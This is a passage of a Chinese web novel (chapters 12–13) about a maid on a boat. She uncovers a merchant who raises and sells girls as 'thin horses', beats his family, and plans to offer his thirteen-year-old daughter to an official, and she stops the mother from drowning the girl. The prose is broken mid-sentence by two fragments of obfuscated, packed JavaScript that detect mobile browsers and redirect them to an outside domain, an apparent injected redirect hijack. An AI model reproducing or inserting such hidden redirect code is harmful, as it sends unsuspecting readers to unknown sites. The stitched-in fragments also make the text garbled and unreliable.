薛峤摇摇头说:“并未。大人在休憩,奴婢是出来透气的。” 书生垂下眼,支支吾吾道:“那便好,那便好。李兄也是喝了酒一时没止住气性,并非有意生事搅扰,还望姑娘莫将这事禀告给大人。” 薛峤目光复杂地看着他。李泰都将人打成那样了,这厮想的竟然就只是别惊动同知大人? 很快,她又换上一副谦卑温顺模样,柔声说:“那是自然,奴婢断不会在大人面前搬弄是非。不过上船这许久,奴婢还未弄清楚各位客人的身份,可否劳烦公子指点一二?若大人问起,奴婢也好有个应答。” 书生道:“好说,好说。李泰兄和上官小姐昨晚都自报过家门,想必姑娘是知晓的。鄙姓韩,单名一个觉字。方才劝架那兄弟俩一名齐松,一名齐弛。我们三个还有李泰兄都是扬州府人。至于另一位小姐,鄙人也只在昨日上船时远远看到过,并不知其来历。” “这样听来,韩公子你同两位齐公子还有李老板很熟?”薛峤问。 韩觉因这一声尊敬有加的“韩公子”,面上浮起一层薄红,他不好意思地挠挠后颈,道:“也说不上熟络,只是鄙人外祖家在徐州,常乘船往来,从前亦与他们同船过,因而有些浅薄的交情。” 薛峤看着他,压低声音继续问:“方才跟李老板进屋的那两位姐姐可是他的侍妾?奴婢当真好奇,妻妾在侧,阖家圆满,李老板怎还发这样大的脾气?” 韩觉顿时面露尴尬,沉默半晌,他才磕磕绊绊回答:“侍妾……算是吧。至于李老板生气的原因,这说来恐怕有辱尊听。” 薛峤朝他浅浅一笑,道:“奴婢也只是担心横生什么枝节惹大人不快,若公子不便言说,就算了。” 韩觉犹豫片刻,似是掂量了一下轻重是非,而后咬咬牙,沉声道:“姑娘可听说过‘扬州瘦马’?” 12. 第12章 听得这四个字,薛峤只感觉浑身发凉。 昔年还未进宫时,她曾读过一些杂谈笔记,其中就有一篇专门讲述扬州一带的“瘦马”。 黑心商人买下年幼的贫苦女童,请人教其诗书歌舞、琴棋画艺,待长成后,转手高价卖进青楼或卖与富商做妾,从中牟取暴利。 因贫女大多身形瘦弱,此种牟利方式又形同养马,便将其称作“瘦马”。其中的凌虐践踏意味不言自明。 那时她单单只是在书上读到此事,就深感可怖。如今听人当面提起,更觉得毛骨悚然。 韩觉见她神情凝重,只当她是没听明白,三言两语稍作解释,又接着道:“鄙人听闻李泰兄当年就是靠养‘瘦马’发家的,后来他转做珠宝生意,亦顺带经营此道,方才那两个侍妾就是他从旁人手中买来的‘瘦马’。” “这与今日之事有何关系?”薛峤问。 “关系就在于,此番上船,李泰兄只带了那两个自用的侍妾,未曾携带清白干净的‘瘦马’,偏偏又在这里遇到了萧大人。昨晚席上他逢迎无果,又见上官小姐一曲琵琶动人,今早喝了些酒,便萌动心思,想叫女儿妆扮一番去找萧大人。偏偏李夫人不肯,两人争执起来,就有了方才的场面。” 薛峤听罢,心下骇然。 做这种生意已经是丧尽天良,将主意打到十三四岁的亲女儿身上,更是泯灭人性了。更不用说李泰还殴打妻妾,虽按律法判不得死刑,但从人情道义来看,此人着实死有余辜。 再看眼前的韩觉,先是根本不将李泰虐待女眷的行径当成什么错事,言语间对其颇有袒护之意,这会儿说起“瘦马”的事,也不见他措辞中对那些可怜女子有丝毫怜悯,反倒左一句“自用”,右一句“干净”,分明是将活生生的人当成物件。 斯文腼腆的皮囊下装着这样一颗冷漠的心,这还是个读书人,远比流于表面的那种坏更加可怖。 想到这些,薛峤几欲作呕,不愿再跟眼前的人多相处一刻。 她语气淡漠,对韩觉道:“还望公子得空劝劝李老板,切莫再打这种主意了,我家大人不好这个。” 说罢,径直向卫明璋的房间走去。 走廊里闹成这样,都不见这位少东家出来,薛峤疑心他根本就不在屋里。谁知三声轻叩下去,房门倒真的开了。 卫明璋今日换了一身赪紫罗衫,仍旧打扮得风流贵气,现下身姿挺拔,负手而立,举手投足颇有几分贵重矜雅。 见是薛峤,他拱手将她迎进屋,亲自倒了杯茶,笑道:“阿乔姑娘赏光前来,卫某受宠若惊。” 薛峤懒得跟他演这些虚礼,单刀直入,问:“卫公子方才可听见走廊里的动静?” 卫明璋含笑应答:“阿乔姑娘是想说,卫某身为此船的主人,听见李泰殴打亲眷,却不前去阻止,袖手旁观,有失道义?” 薛峤在心底冷哼。 心道,此人真是身段灵活、绵里藏针。他自己先将错处揽了,旁人还能说什么呢?总不能指着他鼻子怒骂,没错,你就是冷漠没道德,跟韩觉一丘之貉。 但这些话想想就罢了,说出来于事毫无裨益。 她只微微屈身,轻柔又诚恳地说:“奴婢并非此意。不过是想来问问卫公子,船上可备有止痛化瘀的外伤药?你也知道,我家大人才从天牢出来,满身伤病。他不爱惜自己的身体,奴婢却十分心疼他。” 卫明璋目含深意,叹息一声:“你倒是一片好心。不过若萧大人知道药是从我这儿讨的,只怕他宁愿继续痛着。” “此话怎讲?我观大人与卫公子的确不像初识,难不成你们有什么旧怨?”薛峤故作惊讶。 “他没同你说?我与他是昔年同窗。”卫明璋似笑非笑,转身从柜中取出几个瓷瓶,递给薛峤,道:“罢了罢了。药你且拿去,反正我给了,用不用是他的事。” 顿了顿,他忽然又说:“李泰之事说到底还是因萧大人而起。在下前去劝阻,至多只能让他消一时怒火,但绝非长远之计。阿乔姑娘与其指望卫某临场做和事佬,不如回去劝劝你家大人,兵强不胜,木强则折,适时收收性子,也并不吃亏。” 薛峤接过药,本想直接出门,听他这话说得冠冕堂皇,又忍不住回呛两句:“此言恕奴婢难以苟同。世间泯于众生的俗器遍地都是,独带清辉的利剑却十分难得。人总不能因为自己站在泥水里,就想让天上皎月也黯淡下来。” 卫明璋一怔,忽然朗声大笑,道:“难怪当初我前前后后给他送过无数美貌婢子,都被他赶出来了,如今却独独将你留在身边。” 薛峤亦是一笑,淡声回答:“难怪大人不愿提起与你的旧事。奴婢也好心劝卫公子一句,莫用俗器的癖好来揣测名剑,他真不好这个。” …… 从卫明璋屋里出来,薛峤在李泰夫人和她女儿那间客房门口站定。 她欲敲门替那可怜的李小姐看看伤,又想起李夫人看到她时瑟缩惊惧的模样,顿了顿,还是收回了手,朝最里间走去。 抬手推门,就见萧恪依然保持着她离开时的样子,正对着窗盘腿打坐。 他薄背挺直,通身如竹般自然舒展。衣衫下隐约可见流畅的肌肉线条,却又与寻常武人那种结实紧绷不同,而是带着少年人特有的轻盈柔和。 薛峤轻轻迈步走到他面前,细细打量。现下正有一缕暖阳透过窗落在他眼睫上,好似寸寸浮光碎落成尘,在他苍白的脸上投下淡淡阴影。 而四周真正的尘埃,却只在他周围缓缓浮动,好似被一股若有若无的气息震慑着,无法近身。 她有一瞬间的微微恍神,又很快清醒过来,清了清嗓,徐徐开口:“你将衣服脱了,去榻上趴下。” 萧恪闻言,骤然睁眼。 先是一脸莫名地看着她,然后挑眉一笑,道:“怎么,出师未捷,还是决定少走弯路,让我直接去将李泰杀了?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664274|172849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 薛峤并不搭理他,只将方才讨来的几个瓷瓶放到手边,淡淡开口,声音清缓如山涧溪流:“我找卫明璋要了治外伤的药。你若不想趴下,就这样坐着也行。” 她没有多想,如前几回给他施针一样,直接伸手去解他的衣带。 指尖触到温热的布料时,萧恪原本板正的身体却乍然一颤,向后微倾。 “我自己来。”他声音微哑,缓缓抬手,指尖触到腰侧系带,却迟迟没动。 薛峤疑惑地看着他,细眉微微蹙起,轻声催促:“利索点,我赶场呢。” 说着,她自顾自伸手灵巧地扯开那根腰带,指腹不经意地划过对方绷紧的腰线,只感觉他体温高得异常。 “别是拖太久给你拖得发热了。”少女喃喃低语。 她手上动作更快了。轻盈一掀,便将衣服从萧恪身上剥落,露出他伤痕遍布的后背。 若非亲眼所见,薛峤很难想象,这么多的伤痕竟能同时出现在一个人身上。 还带着些微血迹的鞭痕,自然就是前不久在天牢里留下的。而其余深浅不一的那些,则不知是何时落下的陈年旧伤,纵横交错,明显比她在他身上别处看到的要重些。 薛峤拿起一个浅青瓷瓶,将药膏倒在手背上,低头轻嗅,辨识着里面的成分。 “卫明璋这药还真是好东西。若你这些陈年旧伤刚落下时也找点这样的好药涂涂,估计不会留这么多痕迹。” 她伸出手指蘸了些药膏,轻轻涂抹在那些鞭痕上。 药膏触碰到肌肤的瞬间,冰凉与疼痛一并袭来,还带着些微酥痒,萧恪浑身一僵,连呼吸都不自觉地放轻。 他咬紧牙关,不愿发出任何声音。少女的手指却并未停下,而是带着一种恰到好处的力道,均匀地将药涂抹开来,也将那股酥痒带到各处。 “这样按会很痛么?”薛峤将手指停在他腰窝附近的一处淤痕上。 萧恪喉结滚动,微微闭目:“不疼。” “那你为何呼吸这么重?讳疾忌医可不是什么好习惯。”注视着那处淤痕,薛峤的手指又滑到他背脊中央,重重一按,“这里呢?” 萧恪顿觉一股深重的痛意从脊背窜上耳根,他哑声回答:“痛。” 薛峤得意轻笑:“痛就对了。若这样按都不痛,怕是这块肌骨都坏死了。” 说罢,她手指又往下移了几寸,在另一处淤青上反复打圈,而后继续重按。 如此反复几回,萧恪只觉得除疼痛外,另有一股陌生的焦躁感在体内横冲直撞。他不得不屈指握成拳,指尖叩进手心,以维持镇定。 偏偏身后少女此时话格外密,吐息时不时扫过他后颈,更让他浑身不自在。 “好了。”半刻钟后,薛峤终于收手。 她兀自起身去拭净双手,而后看着萧恪,沉声道:“李夫人带着心病,不肯让我近身。此心结因大人而起,还得劳烦大人同我一起走一趟。” 13. 第13章 与李泰一墙之隔的客房里,瞳娘瘫坐在床边,目光涣散。 床上的珠儿依旧昏迷着。瘦小的身子一动不动,只有心口微弱的起伏昭示着她尚在人世。 瞳娘却想,还不如死了算了。 并不是她不爱自己的亲生女儿。恰恰是因为爱,她才宁愿这可怜的孩子永远别醒来。否则一睁眼,看到的依然是恶鬼般的生父,和没什么用的娘亲,这样无望的人生,真的值得继续活下去么? 瞳娘看着床上那张伤痕遍布的小脸,茫然出神,无端想起自己这个年纪时的光景。 那时她被养在一个姓张的丝绸商家里,衣食无忧,日日饱暖,并不知道自己头上顶着“瘦马”这样可怖的名号。 张老板养了许多像她一样的女孩,他花十几贯钱将她们买来,请人悉心教养。姿容身段出挑的学跳舞,嗓音动听的学弹琴抚筝,娴静有才气的学吟诗作画,活泼娇媚的学打双陆、抹骨牌。 她和她们都不同,容色中上,嗓音平平,没才情也不妩媚,唯独聪明记性好,因而学的是识字和记账。 后来无意间听到来府上做活的短工说悄悄话,她才知道,原来张老板是将她们当货物养着的。十几贯钱买来,养上十年八年,就能转手以千余两的价格将她们卖出去。多划算的买卖! 只是若卖进青楼,那便是生不如死。若卖给富商做妾,虽比进青楼好些,也仍然朝不保夕。于是她便忧心起自己的命运来。 后来有回,张老板接待了一个小行商,叫李泰。此人做些小买卖存了点家底,又想攀附张老板将生意做大,便主动上门,说想从张老板手里讨个正妻。 她听闻这个消息,天真地想,做正妻多好啊!那应当就是她们这些“瘦马”最好的归宿。 于是李泰来到张府后院挑正妻时,她便拼了命地展示自己识字记账的本领,想叫他多看她一眼。 他当真看到她了,并觉得买个识字懂算术能帮他管账的,比买个只会弹琴跳舞的花瓶回去养着烧钱划算多了。 他花了八百两将她从张老板手里买走,婚事就这样定下。 起初她心里还喜气洋洋,觉得自己运气好,虽生在贫苦人家,被卖作“瘦马”,但十余年来没吃过什么苦,还侥幸争取到了安稳的余生。 谁曾想,她奔向的,根本不是什么余生安稳,而是比做待价而沽的“瘦马”更可怖的命运。 李泰其人,表面上看着圆滑温善、八面玲珑,实则戾气深重,又常常酗酒买醉。每每在外面受了气,回来便无缘无故对她拳打脚踢。 她过门三年,怀过两胎,都被打得没保住。直到第三胎,她小心谨慎、挨拳头时都用手护住肚子,才终于顺利将孩子生下来。 “可惜是个女儿。”生产那日,李泰冷冷丢下这句话就走了。 隔天他却又变了张脸,满眼欣喜对着她说:“女儿好啊。请个人教她跳舞弹琴,转手卖出去就是一千两,连十几贯的成本都省了!” 听到这话,她顿时觉得遍体生寒,甚至后悔生下这个孩子。 不都说虎毒不食子么,怎么人毒起来,连亲生孩子也不放过呢?可她又有什么办法。 也就是从珠儿出生开始,李泰果真去外面买了几个贫苦人家的瘦弱女孩,又请来一名“教习师傅”,也学着张老板的样子,将她们养在后院里。 珠儿还在牙牙学语的时候,就在后院追着那几个小女孩跑。待长大些,便也被拉去,跟着一起学那些风月之事。 “你笨一点,不要学会这些。”她只能悄悄对珠儿这样说。 代价是珠儿小小年纪就得跟她一样,时常承受突如其来的拳打脚踢。李泰倒是从来不打后院那些女孩,因为他知道那些都是待售的珍贵货物,打坏就折价了。 她本以为藏拙就能让女儿躲过那些恶心的事,可到了今日,即便珠儿没有学会那些东西,还是被逼着去梳妆打扮,去那位同知大人面前搔首弄姿、博取欢心。 可她才十三岁啊! 瞳娘眼神冰冷,怜惜地抚过珠儿满是伤痕的小脸,又转头看向屋里那扇小小的窗。那窗框很窄,不够一个成年人钻过去,但未长成的瘦弱身量,是可以通过的。 要不就让这可怜的孩子在河里安眠吧。瞳娘想。 她呆愣了一会儿,倏然起身,打横抱起珠儿,朝窗边走去。 这时,客房的门突然被敲响。 “笃笃笃”三声。接着,门外响起一道轻柔的声音:“李夫人可在?奴婢奉萧大人之命,来给小姐送药。” 听到这声音,瞳娘瞬间想起了那个面容清婉的少女,也一并想起她身边那个神情淡漠的同知大人。 她颤抖着站在窗边,一时进也不是,退也不是,眼泪夺眶而出。 薛峤趴在门上听着里面的动静,只觉得十分古怪。 “有脚步声,但是往窗户那边去了,而且走几步就停在那里了。然后又有些奇怪的窸窣声,像是在将什么往窗上抬。”她朝身边的人低语。 萧恪略一思索,淡声说:“其实敲过门,也不一定非要等里面的人来开。” 薛峤愣了一下,很快反应过来,点点头道:“你说得对。这样虽然不大礼貌,但礼貌在人命面前不值一提。” 说完,她学着萧恪平素那样,抬脚使尽朝房门踹去。 纹丝不动。 薛峤疑惑地看了看门,又看了看萧恪。后者利落地补上一脚,门应声而开。 “这门……”待看清眼前景象,薛峤的话音戛然而止,她赶忙冲到窗户边,一把拽住窗上女孩的腿。 珠儿的半个身子本已在窗外,被这样猛地一拽,瞬间从窗上跌下来,将一旁的瞳娘撞倒在地。 瞳娘呆坐在地上,愕然看着破门进来的两人。 “等会儿再说,先救孩子。” 薛峤匆忙抱起珠儿,将她平放到床上,扣住她手腕细听脉息。 好一会儿,她才抬起头,朝地上的妇人道:“没有大碍。是头部受到重击,加之内心惊惧,才昏厥过去。我给她上点外伤药,再请卫公子帮忙找些药材熬一碗温补汤药,很快就能醒过来。” 瞳娘如梦方醒,先是感激地向薛峤道谢,又连忙爬起来跪到地上,颤抖着向萧恪连连磕头。 “大人,求大人放过我家珠儿!她才十三岁啊!” 薛峤看着地上泣涕涟涟的妇人,鼻尖一酸,忙上前去将她扶起来,温声对她说:“夫人且放心,大人遣我前来是真心为珠儿小姐诊治的,他没有那种心思。” 瞳娘半信半疑,看看眼前的少女,又看看不远处的男子。少女言辞倒是十分恳切,伫立在那边的同知大人,却仍是一副淡然的神情,看不出心里在想什么。 薛峤跟着她的目光扫一眼萧恪的脸,这才想起,萧恪不笑时,就是那副生人勿近的倨傲样子,谁看了都得觉得他脾性不好。可此情此景,又不能让他平白笑一个。 她只好无奈地向妇人解释:“夫人请相信奴婢。我家大人从前连贴身随侍都不要,如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664275|172849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身边亦只有我一人,是李泰会错意了,大人他真的不是那种人。” 萧恪亦朝她们看过来,认真点头道:“是。我从来不好女色,现下尚是清白之身。” 这下换薛峤懵了。 心道,谁让你说这个了! 她赶忙揭过这一节,朝萧恪道:“我留在此间给李小姐上药。劳烦大人去同卫公子说,李小姐现下身子很虚,需要人参、黄芪、白术、炙甘草、当归、熟地黄、白芍、茯苓、陈皮、五味子、麦冬、砂仁……” 话音未落,却是卫明璋闻声而来。 他站在房门口,轻摇折扇,语声温润道:“需要这么多药材?船上还真没有。” “不齐也无妨,若无人参,有党参也可,当归可换川穹,白芍、茯苓、陈皮、五味子、麦冬、砂仁可换成大枣和生姜。” 卫明璋却摊摊手,无奈道:“也没有。开船前没想过会出这种事,更没想过会有大夫现场开药方,只备了些制好的外伤药和风寒药,药材一例都没有。” 随即,他话锋一转,又道:“不过前方不远处有个小渡口,集镇上应该有药铺。待我去同舵手说一声将船往岸边靠,派船工放小舟上岸去买就是。” 薛峤点点头说:“好。我将需要的药材写下来,以免船工记不住。” 萧恪却已随手拿起桌上纸笔,三两下研好墨,沉声道:“我来写。你先去上药。” 如此安排好,薛峤才终于安定下来,她从袖中取出先前的瓷瓶,蘸取药膏,小心翼翼地往珠儿脸上涂抹。因这些伤在脸上,她动作极轻,连呼吸都屏住,生怕将这可怜的女孩弄疼。 待她上完药,萧恪也已将药方写好。 薛峤接过来一看,他这笔字竟写得极好。笔锋起处似剑出鞘,劲瘦凌厉,带着一种不敛张狂的锋芒,真正的字如其人。且他一味药都没写错,还将每种药材需要几钱几分都写得清清楚楚。 “你怎知是这个量?”她好奇问。 萧恪挑眉轻笑,带着傲气回答:“从前见过这个方子,过目不忘。” 薛峤当然信。没点真本领,怎么当天才?她漫不经心地奉承几句,将药方递给卫明璋,又好言好语将萧恪请出去,关上房门。 屋中除了昏睡的珠儿,只余她和李夫人两人。 她看着这个惊魂未定的妇人,忽而开口:“夫人,珠儿无辜,应让她好好活着。该死的,另有其人。” 瞳娘闻言,浑身一颤,怔在原地。 她倏然抬眸,不解地看着眼前的少女。 这句话,是她想的那个意思么?可是她怎么敢,她又怎么敢! 薛峤眉间带上一抹凛然,她低声道:“珠儿小姐这一身伤并不难治,要不了她的性命。可夫人心里的伤,却险些要了亲生女儿的性命。但奴婢相信,若非走到绝路,天底下没有哪个母亲会狠心将自己的女儿往河里推。所以,你究竟有什么苦衷?” 瞳娘听到那句“险些要了亲生女儿的性命”,眼泪霎时扑簌簌地落下。她犹豫了片刻,终于鼓足勇气开口。 “在成为李夫人之前,我叫瞳娘。十七年前,我是扬州锦云丝绸庄张老板后院养着的‘瘦马’……” 薛峤静静坐在床边,听瞳娘讲述她从前的凄苦经历。 客船行进的速度渐渐放缓,离岸也越来越近,从小窗望出去,可以看到渡口就在不远处。 这样摇摇晃晃着,楼下倏然响起一阵急促的叫喊—— “来人啊!上官小姐落水了!”